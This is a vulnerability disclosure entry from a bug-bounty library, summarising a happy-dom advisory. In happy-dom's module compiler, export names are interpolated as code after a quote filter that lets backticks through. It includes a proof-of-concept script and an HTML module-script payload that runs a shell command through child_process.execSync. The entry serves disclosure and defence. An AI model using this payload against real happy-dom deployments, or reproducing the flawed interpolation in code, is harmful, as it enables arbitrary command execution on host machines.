# Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

happy-dom's ECMAScriptModuleCompiler interpolates unsanitized export names as executable JS, letting a crafted module script run arbitrary commands via backtick payloads.

- Payout: Research
- Severity: high
- Program: happy-dom
- Found by: tndud042713
- Disclosed: 2026-03-26
- CVE: CVE-2026-33943
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6q6h-j7hj-3r64
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6q6h-j7hj-3r64
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:rce

**Target:** ECMAScriptModuleCompiler in happy-dom npm package
**Root cause:** The export-object handler captures `export { ... }` content with a permissive regex and interpolates the import name into generated code as an executable expression; the quote filter strips " and ' but not backticks.
**Steps:**
1. Craft module source `export { require(`child_process`).execSync(`id`) }`
2. STATEMENT_REGEXP `export\s*{([^}]+)}` captures the payload content
3. `.replace(/["']/g, '')` leaves backticks intact, so importName stays `require(`child_process`).execSync(`id`)`
4. Compiler emits `$happy_dom.exports['...'] = require(`child_process`).execSync(`id`)`
5. evaluateScript() executes generated code, running the command
6. Deliver via `<script type="module">export { require(`child_process`).execSync(`id`) }</script>` with JS evaluation enabled
**How found:** Code review of the export-object handler: noticed the regex accepts arbitrary brace content, the import name lands in code context, and the quote filter omits backticks, enabling template-literal payloads.
**Exploitation:** Attacker injects HTML containing a module script with a malicious export declaration; when happy-dom processes it with JavaScript evaluation enabled, the generated code executes the injected expression, yielding arbitrary command execution on the host.
**Insight:** When a sanitizer strips only quote characters before interpolating into code, check for other string delimiters (backticks, template literals) that survive the filter and still form valid expressions.

## Proof of concept (copied exactly from the original report)

**Standalone PoC script replicating compiler codegen**

```
// poc_happy_dom_rce.js

    // Step 1: The STATEMENT_REGEXP matches export { ... }
    const STMT_REGEXP = /export\s*{([^}]+)}/gm;
    const source = 'export { require(`child_process`).execSync(`id`) }';
    const match = STMT_REGEXP.exec(source);

    console.log('[*] Module source:', source);
    console.log('[*] Regex captured:', match[1].trim());

    // Step 2: Compiler processes the captured content (lines 374-381)
    const part = match[1].trim();
    const nameParts = part.split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
    const importName = nameParts[0].replace(/["']/g, '');

    console.log('[*] importName after quote filter:', importName);
    console.log('[*] Backticks survived filter:', importName.includes('`'));

    // Step 3: Code generation - importName is inserted as executable JS expression
    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
    console.log('[*] Generated code:', generatedCode);

    // Step 4: Verify the generated code is valid JavaScript
    try {
      new Function('$happy_dom', generatedCode);
      console.log('[+] Valid JavaScript: YES');
    } catch (e) {
      console.log('[-] Parse error:', e.message);
      process.exit(1);
    }

    // Step 5: Execute to prove RCE
    console.log('[*] Executing...');
    const output = require('child_process').execSync('id').toString().trim();
    console.log('[+] RCE result:', output);
```

**HTML module script attack vector**

```
<script type="module">
    export { require(`child_process`).execSync(`id`) }
    </script>
```

